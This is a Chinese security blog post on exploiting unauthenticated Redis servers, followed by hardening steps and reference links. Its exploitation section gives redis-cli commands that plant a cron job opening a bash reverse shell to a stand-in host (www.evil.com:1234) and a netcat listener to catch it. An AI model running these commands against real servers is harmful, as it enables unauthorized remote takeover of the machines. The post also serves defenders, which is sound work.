Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

Redis 未授权访问的利用

wpadmin~October 31, 2018 /InfoSec

Redis 未授权访问的利用

漏洞成因

1 Redis 无密码或弱密码
2 监听 0.0.0.0
3 Redis 服务以 root 账号运行

漏洞利用

利用思路

1 上传 webshell (写文件)
2 执行命令 (cron 计划任务 + 写文件)
3 反弹 shell (即执行命令,只是变成执行特定的命令)
4 远程登陆 (写文件 + ssh key) 案例
5 获取系统信息 (Redis info)
6 数据库数据获取 (缓存)
7 代码执行 (Lua)

# 获取信息
# 如果 redis 设置了密码,这步操作就会失败
config get dbfilename

# redis-cli
config set dir /var/spool/cron
config set dbfilename root
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/<c&c_ip>/<c&c_port> 0>&1\n\n\n"
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/www.evil.com/1234 0>&1\n\n\n"
save

c&c

netcat -l -vv -p 1234

常见危害

1 Redis 数据库库本身数据泄露。
2 服务器沦陷。
3 勒索蠕虫病毒。

参考修复方案

/etc/redis/redis.conf

1 redis.conf 中配置 requirepass 项,增加复杂的访问密码
2 redis.conf 中配置 bind 127.0.0.1 或者其他最小化的内网地址
3 限定可以连接 redis 服务器的 IP (比如在 firewalld 的层面加规则)
4 不要用 root 用户启动 redis
5 不用默认的 6379 端口
6 redis.conf 禁止一些高危命令

# /etc/redis/redis.conf
rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

7 保证 authorized_keys 文件的安全

# 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
# 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
# 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限
chattr +i ~/.ssh
# 注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

参考资料

Redis 未授权访问配合 SSH key 文件利用分析
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis 未授权访问漏洞利用总结
http://www.alloyteam.com/2017/07/12910/

【谷安天下】系统组件常见漏洞原理 – redis未授权访问漏洞 – 阿德马
https://edu.aqniu.com/my/course/4911

redis_exp.py
https://github.com/00theway/redis_exp/blob/master/redis_exp.py

Leave a Reply

Your email address will not be published. Required fields are marked *